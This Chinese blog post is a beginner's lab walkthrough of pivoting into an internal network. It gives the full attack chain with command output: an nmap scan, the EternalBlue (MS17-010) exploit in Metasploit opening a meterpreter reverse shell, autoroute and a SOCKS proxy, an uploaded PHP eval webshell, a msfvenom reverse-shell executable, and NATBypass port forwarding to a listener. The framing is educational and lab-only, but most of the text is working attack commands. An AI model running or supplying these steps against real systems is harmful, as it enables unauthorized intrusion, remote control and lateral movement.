一次简单的内网穿透

禛探

于 2023-09-20 23:41:56 发布

阅读量351

点赞数 6

文章标签：网络安全

本文链接：https://blog.csdn.net/weixin_65592308/article/details/133097614

版权

文章目录

前言

一次简单的内网穿透，用于简单的原理理解。（新手上路，大佬勿喷）

前期准备

所需工具：Kail、Win7、Win10、Msf、NatByPass(NB)、AntSword、phpstudy

需要将win7和win10的防火墙关掉（此文章用于测试学习，所以环境都是最理想的状态）

ip地址表
kail	192.168.1.8
win7	192.168.1.16 192.168.6.148
win10	192.168.6.157

操作简介

漏洞复现

在kail中安装AntSword(地址:AntSwordProject · GitHub)
使用nmap扫描win7的ip（-sS半开放扫描）

┌──(root㉿kali)-[~]
└─# nmap -sS 192.168.1.16                                    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-20 22:03 CST
Nmap scan report for 192.168.1.16 (192.168.1.16)
Host is up (0.00035s latency).
Not shown: 987 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server

发现其445端口开放使用msf调用ms17_010对其攻击

msf6 > use exploit/windows/smb/ms17_010_eternalblue 
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.1.16
rhosts => 192.168.1.16
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

获取shell

[*] Meterpreter session 1 opened (192.168.1.8:4444 -> 192.168.1.16:49166) at 2023-09-20 22:11:28 +0800
[+] 192.168.1.16:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.16:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.16:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

使用run post/multi/manage/autoroute命令添加自动路由,使用run autoroute -p 查看添加的路由

meterpreter > run post/multi/manage/autoroute 

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: windows
[*] Running module against YUAN-PC
[*] Searching for subnets to autoroute.
[+] Route added to subnet 192.168.1.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.6.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from Bluetooth vc6.
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   169.254.0.0        255.255.0.0        Session 1
   192.168.1.0        255.255.255.0      Session 1
   192.168.6.0        255.255.255.0      Session 1

启动sock5代理并在后台运行

msf6 > use auxiliary/server/socks_proxy 
msf6 auxiliary(server/socks_proxy) > run -j
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/socks_proxy) > 
[*] Starting the SOCKS proxy server
jobs

Jobs
====

  Id  Name                           Payload  Payload opts
  --  ----                           -------  ------------
  0   Auxiliary: server/socks_proxy

使用vim /etc/proxychains.conf更改sock5代理配置文件
```
[ProxyList]
socks5 0.0.0.0 1080
```
检测是否能够远程连接到win10的远程桌面（如果可以证明目前达到了单向通讯）
在win10上打开phpstudy并且下载upload靶场
在kali中的火狐中下载FoxyProxy代理插件
设置代理
利用kail的火狐访问win10的web界面选择第一关（upload靶场下载和通关可以自行学习）
上传php一句话木马并获取webshell
```
<?php @eval($_POST['mima']);?>
```
在kail中打开AntSword设置代理
连接上传的一句话木马
在kail中利用msfvenom生成一个木马（这里选择将流量转发到win7的6666端口上）

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.6.148 lport=6666 -f exe>./cy.exe

将此文件添加执行权限

┌──(root㉿kali)-[~]
└─# chmod a+x cy.exe

在AntSword上上传该木马
在win7中上传NB

meterpreter > upload /home/yuan/桌面/nb-windows-amd64.exe c:\\
[*] Uploading  : /home/yuan/桌面/nb-windows-amd64.exe -> c:\nb-windows-amd64.exe                                                                                                                                                            
[*] Completed  : /home/yuan/桌面/nb-windows-amd64.exe -> c:\nb-windows-amd64.exe

在win7上使用NB将自己6666端口上的流量转发到kail的9999端口上

nb-windows-amd64.exe -tran 6666 192.168.1.8:9999
+----------------------------------------------------------------+
| Welcome to use NATBypass Ver1.0.0 .                            |
| Code by cw1997 at 2017-10-19 03:59:51                          |
| If you have some problem when you use the tool,                |
| please submit issue at : https://github.com/cw1997/NATBypass . |
+----------------------------------------------------------------+

2023/09/20 23:02:24.049508 [√] start to transmit address: 192.168.1.8:9999 to address: 192.168.1.8:6666
2023/09/20 23:02:24.049508 [+] try to start server on:[0.0.0.0:6666]
2023/09/20 23:02:24.049508 [√] start listen at address:[0.0.0.0:6666]

在开启一个新的msf窗口并且开启监听模块监听kail机9999端口

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lport 9999
lport => 9999
msf6 exploit(multi/handler) > set lhost 192.168.1.8
lhost => 192.168.1.8
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.8:9999